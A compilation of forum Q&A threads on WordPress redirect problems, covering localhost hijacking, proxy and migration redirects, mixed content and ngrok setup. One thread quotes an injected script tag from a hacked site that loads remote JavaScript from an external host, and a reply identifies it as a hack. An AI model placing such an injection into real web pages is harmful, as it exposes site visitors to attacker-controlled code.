localhost redirecting to search page - wordpress

I have dowloaded wordpress 3.5 and xampp and they are succeessfully insatlled in windows 7 and also changed the wp-config.php file in wordpress and placed it in ht docs and also created a database. My problem is when i load localhost/phpmyadmin it appears and when i load localhost/wordpress/wp-admin/install.php it takes me to my home page which is http://static.flipora.com/websearch.html?ref_type=redirect&src_type=bg&tv=7.104&t=7.104&u=12606685. It takes here whenever i type localhost/(anything). Please tell me there is problem with my xampp or wordpress.

That's most likely malware.
See this to remove it

Some browsers need http:// prepended before localhost and similar URLs to work. On Chrome I need to add the http:// part to access localproject.dev URLs properly (otherwise it redirects to Google search). Firefox seems to work normally with these kinds of URLs.

Related

Why is WordPress redirecting to localhost

I have a WordPress website running on a server, using a docker container (with port forwarding 8001:80), and an Apache server with proxypass to redirect "demo.travel-itineraries.com" to "localhost:8001".
My problem is that WordPress redirects to localhost instead of using the website URL I specified.
My WordPress configuration doesn't contain any "localhost" occurrence (I tried SELECT * from wp_options where option_value like '%localhost%'; and there is no occurrence of localhost)
The WordPress address is set correctly
The homepage is working fine (http://demo.travel-itineraries.com/) but the second page isn't. If you check the link in the navbar, it's a link to "http://demo.travel-itineraries.com/les-joyaux-de-ladriatique-a-bord-du-pacific" but WordPress redirects to "http://localhost/les-joyaux-de-ladriatique-a-bord-du-pacific".
I checked with curl, and the RedirectedBy header is set to "WordPress".
Do you have any idea why it keeps redirecting?
Thanks
Worth a try: There is an extremely old bug in Wordpress which causes problems in permalinks (i.e. pages are not found) after moving the site to another server or directory even though everything is set correctly.
And there's the also-extremely-old fix for it to go to the backend, open the Settings > Permalinks page, change any one little detail, change it back again and click "save changes". And I've heard from others that often it's even enough to just open that Permalinks page without changing or saving anything.
I just had that again in the current version (5.8.3) – same problem, same fix. I really wonder why that bug still exisits...
I noticed Yoast is installed, the premium version of that plugin automatically creates redirects, you can check those by going to SEO > Redirects in the back-end.

Mixed Content: The page at 'https://example.com' was loaded over HTTPS, but requested an insecure stylesheet error in Wordpress site

Instead of genuine Mixed Content issue this seemed like more of a Wordpress issue hence posting here to find a resolution.
I have everything setup to work with https, though there is no valid certificate yet. here is the home page url https://tourpoule.nl. The home page loads but with Mixed content errors which seem to be generated by core Wordpress or theme functions. Attaching image:
Database does not have any url which would start with http://. I already have replaced them using search and replace script.
There is nothing in htaccess file except basic Wordpress setup code. I tried renaming it as well. I cleared all types of cache but still it does not work. The site is using twentytwenty theme and if I comment out css and javascript enque lines, some of the errors disappear but styles and scripts do not load(that is normal I know).
In the view source of page it shows mixed urls, some with https and style and javascript urls without https. see below:
Interestingly if I click a stylesheet url i.e. http://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0 it redirects to https://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0
I am not sure what is going on and have got struck. I am not able to reach the client so that we can discuss turning ssl redirection off in nginx for this domain where it is redirecting everything to https if it is not https. Not sure if that is causing issue (I believe it is not as it has nothing to do with Wordpress mechanism to generate urls). Any help or direction is greatly appreciated.
I can see your website is still unsecured, for what it's worth, get yourself letsencrypt ssl.
Back to you question, go to your database, open the wp_options table, change the siteurl item to https://tourpoules.nl and also change the home item to https://tourpoules.nl.
If you have used search and replace DB master script or plugin it will not update inside meta files as well as and check for the function file have you Enqueue with https://
So will be better if you download SQL file and replace with below:
From:
http://new.tourpoules.nl
To
https://new.tourpoules.nl
and re-upload again

301 redirect error with wordpress and apache

I've recently migrated a database from windows using bitnami (apache and wordpress) to a linux server (apache and wordpress). I'm able to access the website wp-admin, but every time I try to access the main site it repeatedly returns 301 errors.
I've tried disabling the .htaccess file (deleting, commenting everything out), but it still gets directed. I've disabled all plugins. I've looked into the themes I'm using but they don't have redirect url's like I've seen in other posts.
I'm wondering if the issue might be in how bitnami structures itself. the main documents are stored in website/wordpress/htdocs, whereas linux wordpress seems to store it directly in wordpress.
I've set sites-enabled home directory to
sitelocation/wordpress/htdocs
I've also set the wordpress address and site address to
http://website.com:80
What do I need to do to prevent the redirects, or set it up to work correctly?
if you haven't change your Site URL then.
Please change the Site URL and Home URL from database in wp_option table.
You need to mention new url in both section..
I had a trailing / on my siteurl which led to it not working. After removing that it worked.

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Cannot get ngrok to serve up my WordPress site

I have a simple wordpress install using Mamp Free Version on OS/X.
Version 2.0.19/2.0.19
Web Interface h#tp#//127.0.0.1:4040
Forwarding h#tp#//6c219c8e.ngrok.io ->
localhost:8888 Forwarding
h#tps#//6c219c8e.ngrok.io -> localhost:8888
Connections ttl opn rt1 rt5 p50
p90
1 0 0.00 0.00 6.00 6.00
For some reason when I try the links generated by ngrok, the website loads forever, then I get
Page not available.
As #Magico stated, download from the repo https://github.com/jonathanbardo/WP-Ngrok-Local and place that in your plugins directory, activate the plugin.
Then, after you get your ngrok tunnel URL up & running, take that URL and place it in your wp-config.php as follows:
define( 'WP_SITEURL', 'http://example.ngrok.io/' );
define( 'WP_HOME', 'http://example.ngrok.io/' );
Now you will be able to access the homepage as well as the admin dashboard.
According to the faq:
You need to add one of the following plugins to force Wordpress to issue relative URLs.
https://github.com/optimizamx/odt-relative-urls
Sorry I don't have enough reputation points to post the rest of links.
You can start ngrock setting your virtual host and your port with this command:
ngrok http -host-header=dev.yoursite 8080
and then install and activate only one of these plugin to navigate with relative urls
https://github.com/jonathanbardo/WP-Ngrok-Local (i'm using this one)
https://github.com/optimizamx/odt-relative-urls
http://wordpress.org/plugins/relative-url/
http://wordpress.org/plugins/root-relative-urls/
full article and documentation here
https://ngrok.com/faq#virtual-hosts
I'm not having luck with this approach. I'm using a plugin called "Relative URL" but only the homepage is rendering on my end. Other pages in the site do not show up. The site is running locally as localhost:8888 which is the path I set temporarily in the SETTINGS>GENERAL SETTINGS and I noticed with the Relative URL plugin running it's still trying to throw the :8888 on the end of the ngrok URL. Just don't know what to do about it currently.
The Relative URL plugin in wordpress got my site loading correctly remotely through ngrok.
For someone who is still having an issue with ngrok on wordpress , you can follow these steps:
After running ngrok copy the link and edit siteurl and home column in wp_options table
Go on administration panel and then edit your menus by adding ngrok_url generated.
I have a much better solution. Much much better. Download the program called "sitesucker" in order to download all files of your site from the localhost. You need to put the address https://localhost/websitename or https://localhost/wordpress, inside the SiteSucker app, if you are like me :), then you put the folder of the website you have downloaded just now, inside your localhost. This is kinda of an assembled site, because sitesucker makes requests for all pages and downloads css and htmls, and also all resources. Sitesucker, if used correctly, and legally, is a great tool. Everyone that will access to this folder after you share the link with ngrok, will see it as a normal website, assembled, not as wordpress format... if you understand what I mean.
So you share the link that brings straight to your localhost, I mean the link that ngrok have created, and people can see the website from the folder that has your assembled website, downloaded previously from SiteSucker :)
DONE

Resources